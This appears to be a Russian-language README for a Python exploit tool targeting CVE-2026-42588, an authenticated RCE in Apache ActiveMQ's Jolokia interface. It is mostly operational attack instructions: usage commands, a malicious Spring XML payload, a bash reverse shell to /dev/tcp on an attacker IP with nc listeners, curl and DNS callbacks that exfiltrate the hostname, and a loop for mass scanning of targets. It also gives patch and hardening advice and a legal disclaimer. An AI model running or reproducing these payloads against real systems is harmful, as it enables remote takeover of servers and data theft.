
Python-эксплойт RCE для CVE-2026-42588, нацеленный на Apache ActiveMQ Jolokia. Имеет режим только проверки, генерацию вредоносного XML и поддержку обратной оболочки, OOB и проверки на основе файлов.
Уровень серьезности: 🔴 Высокий (CVSS 4.0: 8.1)
Тип уязвимости: CWE-94 — Инъекция кода
Затронутые версии: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ version < 6.2.6
Необходимые условия: Требуются учетные данные Web Console (по умолчаниюadmin:admin)
CVE-2026-42588 — это уязвимость удаленного выполнения кода (RCE) после аутентификации в Apache ActiveMQ.
При наличии учетных данных Web Console атакующий может через Jolokia JMX-HTTP интерфейс (/api/jolokia/) вызвать метод BrokerService.addNetworkConnector(String), передав специально сконструированный masterslave:// discovery URI. Используя протокол xbean:, он загружает удаленный Spring XML конфигурационный файл, что в конечном итоге приводит к выполнению произвольных системных команд в JVM ActiveMQ Broker.
/api/jolokia/ (Jolokia JMX-HTTP Bridge)
│
▼
BrokerService.addNetworkConnector(String)
│
▼
masterslave://?brokerConfig=xbean:http://attacker/malicious.xml
│
▼
XBeanBrokerFactory → ResourceXmlApplicationContext
│
▼
Spring предварительно создает все синглтон-бины → Вызов Runtime.exec() / ProcessBuilder
│
▼
🚨 Удаленное выполнение кода (RCE)
| Этап | Описание |
|---|---|
| Поверхность Jolokia | Web Console ActiveMQ по умолчанию открывает /api/jolokia/, что позволяет выполнять операцию exec над MBean org.apache.activemq:* |
| Опасный метод | BrokerService.addNetworkConnector(String) принимает discovery URI и обрабатывает его |
| Цепочка срабатывания URI | Параметр brokerConfig протокола masterslave:// контролируем, что в сочетании со схемой xbean: вызывает загрузку Spring контекста |
| Точка срабатывания RCE | XBeanBrokerFactory использует ResourceXmlApplicationContext для загрузки удаленного XML; Spring создает все синглтон-бины до проверки конфигурации |
| Версия | Статус |
|---|---|
| Apache ActiveMQ < 5.19.7 | ❌ Уязвима |
| 6.0.0 ≤ Apache ActiveMQ < 6.2.6 | ❌ Уязвима |
| Apache ActiveMQ ≥ 5.19.7 | ✅ Исправлена |
| Apache ActiveMQ ≥ 6.2.6 | ✅ Исправлена |
/api/jolokia/ должен быть доступен атакующему (порт по умолчанию 8161)admin:admin).
├── CVE-2026-42588_EXP.py # Скрипт эксплуатации уязвимости (основной)
├── malicious.xml # Шаблон вредоносного Spring XML
├── requirements.txt # Зависимости Python
└── README.md # Этот файл
| Файл | Назначение |
|---|---|
CVE-2026-42588_EXP.py | Скрипт эксплуатации на Python с поддержкой режима проверки (--check-only) и генерации XML (--gen-xml) |
malicious.xml | Шаблон вредоносной Spring XML-конфигурации, содержащий два способа эксплуатации: Runtime.exec() и ProcessBuilder |
pip install -r requirements.txt
python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml
Запустите HTTP-сервер на машине атакующего:
python3 -m http.server 8080
# Использование учетных данных по умолчанию admin/admin
python CVE-2026-42588_EXP.py \
-u http://192.168.1.100:8161 \
-x http://your-attacker-ip:8080/malicious.xml
# Использование пользовательских учетных данных
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-U myuser \
-P mypass \
-x http://your-attacker-ip:8080/malicious.xml
python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only
usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
[-x XML_URL] [--check-only] [--gen-xml]
[-c COMMAND] [--timeout TIMEOUT] [--no-verify]
Опции:
-u, --url URL целевого ActiveMQ (например, http://192.168.1.100:8161)
-U, --username Имя пользователя Web Console (по умолчанию: admin)
-P, --password Пароль Web Console (по умолчанию: admin)
-x, --xml-url Удаленный URL вредоносного Spring XML-файла
--check-only Только проверить доступность интерфейса Jolokia
--gen-xml Сгенерировать вредоносный XML-файл и вывести в stdout
-c, --command Команда для выполнения на целевой системе (по умолчанию: touch /tmp/activemq_pwned)
--timeout Тайм-аут HTTP-запроса в секундах (по умолчанию: 30)
--no-verify Отключить проверку SSL-сертификата
1. Генерация вредоносного XML на машине атакующего:
python CVE-2026-42588_EXP.py --gen-xml \
-c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
> reverse_shell.xml
2. Размещение XML и запуск прослушивания:
# Терминал 1: HTTP-сервер
python3 -m http.server 8080
# Терминал 2: nc для прослушивания
nc -lvnp 4444
3. Запуск эксплуатации:
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-x http://10.0.0.1:8080/reverse_shell.xml
1. Генерация вредоносного XML для Windows:
Измените команду ProcessBuilder в malicious.xml на:
<bean class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>whoami > C:\windows\temp\pwned.txt</value>
</list>
</constructor-arg>
</bean>
2. Размещение и выполнение:
python CVE-2026-42588_EXP.py \
-u http://windows-target:8161 \
-x http://attacker:8080/malicious_win.xml
# Пакетная проверка
for ip in $(cat targets.txt); do
echo "=== Testing $ip ==="
python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done
┌─────────────────────────────────────────────────────────────────────┐
│ Цепочка атаки CVE-2026-42588 │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ① Атакующий ⑤ ActiveMQ Broker (JVM) │
│ ┌──────────┐ ┌──────────────────────────┐ │
│ │ EXP- │──── ② HTTP POST ───────▶│ /api/jolokia/ │ │
│ │ скрипт │ Jolokia exec() │ │ │
│ │ │ Basic Auth │ BrokerService. │ │
│ │ │ │ addNetworkConnector( │ │
│ │ │ │ "masterslave://? │ │
│ │ │ │ brokerConfig= │ │
│ │ │ │ xbean:http://... │ │
│ │ │ │ /malicious.xml" │ │
│ └──────────┘ │ ) │ │
│ │ └────────┬─────────────────┘ │
│ │ │ │
│ │ ③ HTTP GET ▼ │
│ │ ┌──────────────────────┐ ┌────────────────────────────┐ │
│ └─▶│ HTTP-сервер │ │ ResourceXmlApplication │ │
│ │ атакующего │ │ Context загружает │ │
│ │ (python http.server) │ │ удаленный XML │ │
│ │ │ │ │ │
│ │ malicious.xml │ │ Spring предварительно │ │
│ └──────────────────────┘ │ создает Bean ──▶ │ │
│ │ Runtime.exec() / │ │
│ │ ProcessBuilder.start() │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ 🚨 RCE успешно 🚨 │ │
│ └────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
Поскольку выполнение команды происходит на этапе парсинга Spring XML, оно является асинхронным, и результат может не отображаться непосредственно в HTTP-ответе. Рекомендуется проверять следующими способами:
# Машина атакующего
nc -lvnp 4444
# Используйте nslookup или curl в команде для обратной передачи данных
nslookup $(hostname).your-dns-server.com
# Проверьте наличие маркерного файла на целевой системе
ls -la /tmp/activemq_pwned
# В вредоносном XML используйте
curl http://your-server:8888/$(hostname)
# Одновременно прослушивайте на машине атакующего
nc -lvnp 8888
| Линейка версий | Обновить до |
|---|---|
| Серия 5.x | 5.19.7 или новее |
| Серия 6.x | 6.2.6 или новее |
Ссылка для скачивания: https://activemq.apache.org/download
Уведомление об исправлении: https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm
Если обновление временно невозможно, можно предпринять следующие меры для снижения риска:
В conf/jetty.xml ограничьте доступ к /api/jolokia/ только с локального хоста или внесите IP в белый список с помощью брандмауэра/обратного прокси.
Отредактируйте conf/jolokia-access.xml, запретив операцию exec для MBean org.apache.activemq:*:
<restrict>
<mbean>
<name>org.apache.activemq:*</name>
<operation>!exec</operation>
</mbean>
</restrict>
Отредактируйте conf/jetty-realm.properties, изменив пароль по умолчанию admin: admin, admin на надежный.
В conf/jetty.xml закомментируйте конфигурацию контекста, связанную с Web Console.
О: Да, требуются действительные учетные данные Web Console ActiveMQ. Однако пароль по умолчанию — admin/admin, и во многих реальных системах он не изменен, поэтому риск остается высоким.
О: Это нормально. Выполнение команды является асинхронным и происходит на этапе парсинга Spring XML. Рекомендуется использовать обратный Shell, DNS out-of-band и другие способы проверки. Подробнее см. раздел Проверка успешности эксплуатации.
О: Да, поддерживаются. Необходимо изменить команду в malicious.xml с /bin/sh -c на cmd.exe /c и соответствующим образом адаптировать синтаксис команды под Windows.
О: Режим проверки может только подтвердить доступность интерфейса Jolokia (необходимое условие для эксплуатации). Доступность интерфейса не гарантирует возможность эксплуатации, но указывает на такую потенциальную возможность.
О: Нет. После обновления до версии 5.19.7+ или 6.2.6+ логика обработки параметра brokerConfig была исправлена, и схема xbean: больше не принимается.
⚠️ Данный инструмент предназначен только для исследований в области безопасности и авторизованного тестирования!
- Использование данного инструмента для несанкционированного доступа к системам является незаконным действием
- Пользователь несет полную ответственность за все последствия и ущерб, возникшие в результате использования данного инструмента
- Автор не несет ответственности за любое несанкционированное использование, злоупотребление или ущерб, возникший в результате этого
- Используйте инструмент только на собственных системах или системах, на которые получено письменное разрешение
- Соблюдайте местные законы и нормы профессиональной этики
| Источник | Ссылка |
|---|---|
| База данных уязвимостей (CVE Detail) | https://www.cybersecurity-help.cz/vdb/vulns/133395/ |
| Уведомление об уязвимости (Antiy) | https://bbs.antiy.cn/thread-210844-1-1.html |
| Подробности уязвимости (DDPOC) | https://ddpoc.com/DVB-2026-11290.html |
| Официальный сайт Apache ActiveMQ | https://activemq.apache.org/ |
| Бюллетень безопасности Apache | https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm |
CVE-2026-42588 — Только для образовательных и авторизованных целей тестирования